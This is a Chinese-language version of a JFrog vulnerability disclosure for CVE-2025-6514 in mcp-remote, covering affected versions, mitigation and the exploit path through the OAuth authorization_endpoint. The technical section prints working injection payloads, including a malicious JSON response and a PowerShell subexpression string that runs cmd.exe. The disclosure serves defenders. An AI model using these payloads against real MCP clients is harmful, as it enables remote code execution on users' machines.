CVE-2025-6514 威胁 LLM 客户端
小心,不要连接不受信任的 MCP 服务器
—— mcp-remote 中存在严重 RCE 漏洞(CVE-2025-6514),威胁 LLM 客户端
一、背景
JFrog 安全研究团队近期发现并披露了 mcp-remote 项目(https://github.com/geelen/mcp-remote)中的一个高危(CVSS 9.6)安全漏洞 CVE-2025-6514(https://nvd.nist.gov/vuln/detail/CVE-2025-6514),该项目是模型上下文协议 (MCP) 客户端常用的工具。该漏洞允许攻击者在运行 mcp-remote 的计算机上发起与不受信任的 MCP 服务器的连接时触发执行任意操作系统命令,这将对用户造成重大风险——甚至可能导致系统被全面入侵。
mcp-remote 是一个代理,它使大型语言模型 (LLM) 主机(例如 Claude Desktop)能够与远程 MCP 服务器通信,即使它们本身仅支持与本地 MCP 服务器通信。
虽然之前发表的研究已经证明了 MCP 客户端连接到恶意 MCP 服务器的风险,但这是第一次在真实场景中连接到不受信任的远程 MCP 服务器时在客户端操作系统上实现完全远程代码执行。
我们要感谢 mcp-remote 的主要维护者 Glen Maddern (@geelen,https://github.com/geelen) 及时修复了此漏洞。
二、CVE-2025-6514 的影响对象
该漏洞影响 mcp-remote 0.0.5 至 0.1.15 版本,自 0.1.16 版本起已修复。
任何使用 mcp-remote 连接到使用受影响版本的不受信任或不安全的 MCP 服务器的用户都容易受到此攻击。
在 Windows 上,我们已证明此漏洞可导致执行任意操作系统命令(具有完全参数控制的 Shell 命令)。
在 macOS 和 Linux 上,此漏洞可导致执行具有有限参数控制的任意可执行文件。进一步研究后,在这些平台上实现任意操作系统命令执行的可能性或许是存在的。
攻击场景
- 场景1:MCP 客户端使用mcp-remote 连接到不受信任(被劫持或恶意)的 MCP 服务器
图 1:MCP 客户端使用 mcp-remote 连接到不受信任的 MCP 服务器
- 场景2:MCP 客户端使用mcp-remote 以不安全的方式连接到 MCP 服务器(服务器的 URL 方案为 http),而本地局域网中的攻击者发起中间人攻击,劫持 MCP 流量。这种情况在本地网络中很常见,因为 MCP 客户端更有可能信任基于局域网的 MCP 服务器,并以不安全的方式连接到这些服务器。
图2:MCP 客户端使用 mcp-remote 不安全地连接到 MCP 服务器,同时本地攻击者重定向/
控制 MCP 流量
三、如何缓解/修复CVE-2025-6514
执行以下任一步骤均可缓解/修复 CVE-2025-6514 漏洞:
- 将mcp-remote 更新至1.16 版本,该版本已修复此漏洞。这是推荐的解决方案
- 仅使用HTTPS(安全连接)连接到受信任的 MCP 服务器。
四、MCP 传输 —— 本地与远程
模型上下文协议 (MCP) 是一项开放标准,于 2024 年 11 月问世,并迅速获得广泛关注和采用。它使 AI 助手和 LLM 主机能够安全地实时连接并与外部数据源、工具和服务交互。它允许这些 AI 系统访问来自数据库、API 和应用程序的实时信息,同时确保安全性并让用户控制模型可以访问的数据。
图 3:LLM 应用程序使用在同一台机器上运行的本地 MCP 服务器
最初,MCP 服务器部署在本地,与 LLM 应用程序运行在同一台计算机上。后来出现了远程 MCP 服务器,允许多个 LLM 应用程序共享同一个 MCP 服务器实例,同时减轻了安装、维护和更新多个服务器的运营负担。
图 4:LLM 应用程序通过本地与 mcp-remote 通信来使用远程 MCP 服务器,mcp-remote 通过 HTTP 代理与远程 MCP 服务器进行通信
当远程 MCP 服务器实现开始出现时,mcp-remote 工具在 AI 社区中开始流行,而大多数 MCP 客户端仍然只支持连接到本地服务器。
该工具使仅支持通过标准输入/输出进行本地 MCP 传输的应用程序(如 Claude Desktop、Cursor 和 Windsurf)能够作为代理通过 HTTP 传输与远程 MCP 服务器连接。
mcp-remote 被广泛使用,可以在 Cloudflare 的官方文档(https://developers.cloudflare.com/agents/guides/remote-mcp-server/)、auth0 集成文档(https://auth0.com/blog/secure-and-deploy-remote-mcp-servers-with-auth0-and-cloudflare/)、Hugging Face 的博客(https://huggingface.co/blog/lynn-mikami/remote-mcp-cloudflare)和远程 MCP 使用教程中看到。
值得注意的是,最近几周,Cursor 和 Windsurf 等 LLM 主机提供商已新增直接连接远程 MCP 服务器的功能。此外,Anthropic 也为 Claude Desktop 付费订阅用户添加了此功能。
五、CVE-2025-6514 概要
当用户想要配置他们的 LLM 主机(例如 Claude Desktop)以连接到远程 MCP 服务器时,他们会编辑 Claude 的配置文件以添加仅包含远程 MCP 服务器 URL 的 mcp-remote 命令。
图 5:使用 mcp-remote 配置远程 MCP 服务器的示例 MCP json 配置文件
保存配置或重启 Claude Desktop 后,mcp-remote 会开始与 MCP 服务器进行初始通信。服务器可能会要求其进行身份验证,然后 mcp-remote 会向服务器请求其 OAuth 端点的元数据。服务器会返回其 authorization_endpoint URL(例如 https://remote.server.example.com/authorize)以及其他值,并在浏览器中打开,供用户输入凭据。
为了触发此漏洞,恶意 MCP 服务器可以使用特制的 authorization_endpoint URL 值进行响应,如下图所示:
图 6:mcp-remote 初始化与恶意 MCP 服务器的连接
mcp-remote 将尝试在浏览器中打开这个精心设计的 URL,由于 CVE-2025-6514,这将导致命令注入,从而使攻击者能够实现任意操作系统命令执行。
图 7:利用漏洞后运行的 calc.exe
六、CVE-2025-6514 的技术细节
mcp-remote 充当本地MCP 传输(标准输入输出)和远程传输(Streamable/SSE – 基于 HTTP 的协议)之间的代理,同时提供身份验证/授权功能。
要使用 mcp-remote 设置新的远程 MCP 服务器,用户只需在 MCP 客户端的 JSON 配置文件中添加服务器的 URL – 如上图 5 所示。
重新打开 MCP 客户端的应用程序时,就像 Claude Desktop 的情况一样,它会运行提供的 npx 命令,创建一个 Node 进程,并使用上述配置文件中的 serverUrl 参数提供程序启动 mcp-remote 的 proxy.ts:runProxy 函数。
此函数构造一个 NodeOAuthClientProvider 对象,当远程服务器需要授权时使用该对象。
最终,会创建一个 StreamableHTTPClientTransport 对象,并使用提供的 serverUrl 参数调用其 send 方法。本例中,该请求(指向“http://remote.server.example.com/mcp”)会收到来自“恶意”服务器的“401 Unauthorized”响应,从而导致恶意服务器调用 auth.ts:auth 函数开始授权。
让我们看看 auth 函数中发生了什么,为了清楚起见,该函数已被简化:
图 8:auth.ts(官方 MCP Typescript SDK)中 auth 函数的简化代码片段
此函数用于启动 OAuth 授权流程。让我们仔细阅读 ### 号内的注释:
- 我们跳过discoverOAuthProtectedResourceMetadata 的逻辑,从我们的服务器返回 401 Unauthorized 到该函数的获取请求(http://remote.server.example.com/.well-known/oauth-protected-resource)
- 然后调用discoverOAuthMetadata 函数,从我们服务器的 /.well-known/oauth-authorization-server 端点获取 OAuth 元数据,并返回一个 JSON 对象,其中列出了 OAuth 端点和配置参数。该响应中包含 authorization_endpoint 字段。该字段的值通常包含用于验证用户身份的标准 HTTP URL,但为了触发命令执行,恶意服务器会返回一个精心设计的值:
{“authorization_endpoint”: “file:/c:/windows/system32/calc.exe“,
“registration_endpoint”: “https://remote.server.example.com/register”,
/* … */
“code_challenge_methods_supported”: [“S256”]}
- 它继续进行动态客户端注册:访问我们的/register 端点 – 我们给出有效的答案,因此流程继续。
- 调用startAuthorization 函数(见下文),并使用我们在上面步骤 2 中提供的 authorization_endpoint 字符串构造一个新的 URL()。然后,它向其添加查询字符串参数并返回:
图 9:auth.ts(官方 MCP Typescript SDK)中 startAuthorization 函数的简化代码片段
- 然后redirectToAuthorization(authorizationUrl) 调用我们的 NodeOAuthClientProvider 对象的 redirectToAuthorization 方法,该方法位于 node-oauth-client-provider.ts 中:
图 10:node-oauth-client-provider.ts 中重定向授权函数的简化代码片段
- open() 函数从‘open’ npm 包(https://github.com/sindresorhus/open)导入。open(param) 在Windows 机器上执行以下操作:
- 查找exe 路径。
- 准备将运行param 参数的 PowerShell 编码命令。
- 使用以下命令行在新的子进程中运行它:
powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand ‘UwB0AGEAcgB0ACAAIgBqAGEAdgB….=’
- PowerShell 解码该命令并运行。在我们的例子中,它将执行exe:
Start “file:/c:/windows/system32/calc.exe?response_type=code…”
注: “open” 软件包在 macOS 和 Linux 上使用不同的代码路径,分别执行“open URL”或“xdg-open URL”。虽然这些实现也可以被利用通过 file:// URL 运行任意可执行文件,但由于没有调用 shell,攻击面更加有限,从而限制了控制可执行文件参数的能力。
从受限到完整的命令执行
Start 关键字指的是 PowerShell 的 Start-Process cmdlet,可以运行可执行文件,或将其传递给 Windows Shell 进行文件扩展名关联或协议处理程序(URI 方案)。
因为 authorization_endpoint 字符串用于构建 new URL(),所以它必须采用有效的 URL 格式,并以 URI scheme 开头。
当提供“file:/c:/windows/system32/calc.exe?response_type=code…..”时 – file: URI scheme 将用于执行 calc.exe 可执行文件。
图 11:mcp-remote 在试图打开浏览器进行授权时执行 calc.exe 进程
现在我们可以运行任何可执行文件,但没有参数——这还不够有用。
我们可以尝试使用诸如“file://IP_ADDR/Share/test.bat?response_type=code…..”之类的 URL 来执行远程文件,该 URL 指向用于访问网络资源的 UNC 路径(请注意双反斜杠)。
这是可行的——但是 Windows 会弹出有关运行远程可执行文件的安全警告:
图 12:尝试执行 UNC 路径时显示的安全警告
让我们尝试一种不同的策略——由于命令在 PowerShell 中运行,我们可以滥用子表达式评估功能来注入我们的命令:“http://www.example$(calc.exe).com/?response_type=code…..” 这将运行 calc.exe,因为子表达式运算符 $() 将评估(run)的参数表达式。
如果我们能够提供一个“空格”字符,这种技术就能让我们向命令注入任意参数。但由于我们的字符串经过了 URL() 函数,而空格在 URL 中不是有效字符,因此new URL() 调用要么会失败(如果在域名内),要么 URL 会被编码为 %20。例如,输入“http://www.example.com/$(cmd.exe /c echo test)”会被翻译成http://www.example.com/$(cmd.exe%20/c%20echo%20test)/?response_type=code…..。
对于“file:”请求,情况也是如此。
最终,我们注意到,如果提供一个不存在且不包含反斜杠的方案,URL 不会被编码。因此,我们可以输入“a:$(cmd.exe /c whoami > c:\\temp\\pwned.txt)?response_type=code…..”来实现完整的命令执行!
图 13:我们的 cmd.exe /c 命令在 C:\temp 中创建了一个新的 pwned.txt 文件
– 证明代码执行成功
七、总结
随着 CVE-2025-6514 的发现,我们已证明连接到不受信任的 MCP 服务器时存在远程代码执行漏洞。如前所述,Cursor、Windsurf 和 Claude 等 LLM 托管服务商现已添加类似的远程 MCP 连接功能。MCP 用户必须特别注意,仅使用安全连接方式 (HTTPS) 连接到受信任的 MCP 服务器,因为在不断发展的 MCP 生态系统中,可能会发现与 CVE-2025-6514 类似的漏洞。
为了掌握其他攻击和零日漏洞,请务必查看 JFrog 安全研究中心(https://research.jfrog.com)以获取有关 CVE、漏洞和修复的最新信息。
成功
感谢您提交申请,我们稍后会与您取得联系!
哎哟... 出了点问题
请稍后再试
Information
Modal Message